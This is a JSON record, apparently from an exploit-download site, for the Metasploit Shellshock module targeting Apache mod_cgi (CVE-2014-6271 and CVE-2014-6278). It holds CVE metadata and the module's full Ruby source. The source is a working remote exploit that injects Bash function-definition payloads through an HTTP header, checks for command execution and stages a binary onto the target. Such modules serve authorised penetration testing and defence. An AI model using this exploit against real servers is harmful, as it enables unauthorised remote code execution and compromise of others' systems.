{"exploit":{"id":"MSF-multi--http--apache_mod_cgi_bash_env_exec","name":"Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)","description":"This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CGI scripts in the Apache web server by setting the HTTP_USER_AGENT environment variable to a malicious function definition.","cves":["CVE-2014-6271","CVE-2014-6278"],"author":"Stephane Chazelas, wvu, juan vazquez, lcamtuf","published":"2014-09-24","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb","path":"modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"apache_mod_cgi_bash_env_exec.rb","vulnerabilities":[{"id":"CVE-2014-6271","state":"PUBLISHED","title":null,"titleSource":null,"description":"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka \"ShellShock.\" NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271"},"updatedAt":"2025-10-22T00:05:36.342Z","retrievedAt":"2026-11-26T16:21:04.123Z","stale":false,"error":null},{"id":"CVE-2014-6278","state":"PUBLISHED","title":null,"titleSource":null,"description":"GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6278","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6278"},"updatedAt":"2025-12-30T20:24:56.789Z","retrievedAt":"2026-11-26T16:47:27.340Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--apache_mod_cgi_bash_env_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--apache_mod_cgi_bash_env_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--apache_mod_cgi_bash_env_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--apache_mod_cgi_bash_env_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)',\n        'Description' => %q{\n          This module exploits the Shellshock vulnerability, a flaw in how the Bash shell\n          handles external environment variables. This module targets CGI scripts in the\n          Apache web server by setting the HTTP_USER_AGENT environment variable to a\n          malicious function definition.\n        },\n        'Author' => [\n          'Stephane Chazelas', # Vulnerability discovery\n          'wvu', # Original Metasploit aux module\n          'juan vazquez', # Allow wvu's module to get native sessions\n          'lcamtuf' # CVE-2014-6278\n        ],\n        'References' => [\n          [ 'CVE', '2014-6271' ],\n          [ 'CVE', '2014-6278' ],\n          [ 'CWE', '94' ],\n          [ 'OSVDB', '112004' ],\n          [ 'EDB', '34765' ],\n          [ 'URL', 'https://access.redhat.com/articles/1200223' ],\n          [ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ]\n        ],\n        'Payload' => {\n          'DisableNops' => true,\n          'Space' => 2048\n        },\n        'Targets' => [\n          [\n            'Linux x86',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X86,\n              'CmdStagerFlavor' => [ :echo, :printf ]\n            }\n          ],\n          [\n            'Linux x86_64',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X64,\n              'CmdStagerFlavor' => [ :echo, :printf ]\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2014-09-24',\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => [],\n          'AKA' => ['Shellshock']\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to CGI script']),\n      OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),\n      OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),\n      OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),\n      OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),\n      OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]),\n      OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278']])\n    ])\n  end\n\n  def check\n    res = req(\"echo #{marker}\", datastore['CVE'])\n\n    if res && res.body.include?(marker * 3)\n      return Exploit::CheckCode::Vulnerable('Successfully verified code execution on the target')\n    elsif res && res.code == 500\n      injected_res_code = res.code\n    else\n      return Exploit::CheckCode::Safe('The target is not vulnerable')\n    end\n\n    res = send_request_cgi({\n      'method' => datastore['METHOD'],\n      'uri' => normalize_uri(target_uri.path.to_s)\n    })\n\n    if res && injected_res_code == res.code\n      return Exploit::CheckCode::Unknown('Received an unexpected response from the target')\n    elsif res && injected_res_code != res.code\n      return Exploit::CheckCode::Appears('The target appears to be vulnerable')\n    end\n\n    Exploit::CheckCode::Unknown('No response received from the target')\n  end\n\n  def exploit\n    execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true)\n\n    # A last chance after the cmdstager\n    # Trying to make it generic\n    unless session_created?\n      req(\"#{stager_instance.instance_variable_get(\"@tempdir\")}#{stager_instance.instance_variable_get(\"@var_elf\")}\", datastore['CVE'])\n    end\n  end\n\n  def execute_command(cmd, opts)\n    cmd.gsub!('chmod', \"#{datastore['RPATH']}/chmod\")\n\n    req(cmd, datastore['CVE'])\n  end\n\n  def req(cmd, cve)\n    case cve\n    when 'CVE-2014-6271'\n      sploit = cve_2014_6271(cmd)\n    when 'CVE-2014-6278'\n      sploit = cve_2014_6278(cmd)\n    end\n\n    send_request_cgi(\n      {\n        'method' => datastore['METHOD'],\n        'uri' => normalize_uri(target_uri.path.to_s),\n        'headers' => {\n          datastore['HEADER'] => sploit\n        }\n      }, datastore['TIMEOUT']\n    )\n  end\n\n  def cve_2014_6271(cmd)\n    %Q{() { :;};echo -e \"\\\\r\\\\n#{marker}$(#{cmd})#{marker}\"}\n  end\n\n  def cve_2014_6278(cmd)\n    %Q{() { _; } >_[$($())] { echo -e \"\\\\r\\\\n#{marker}$(#{cmd})#{marker}\"; }}\n  end\n\n  def marker\n    @marker ||= rand_text_alphanumeric(rand(42) + 1)\n  end\nend\n","sha256":"41a9e87cd3641ac18435f14ffdb3a083525bcf954f9b47b808851c658b7f0b75","bytes":4787,"fetchedAt":"2026-11-27T01:53:29.021Z","encoding":"utf-8 (display only; download retains original bytes)"}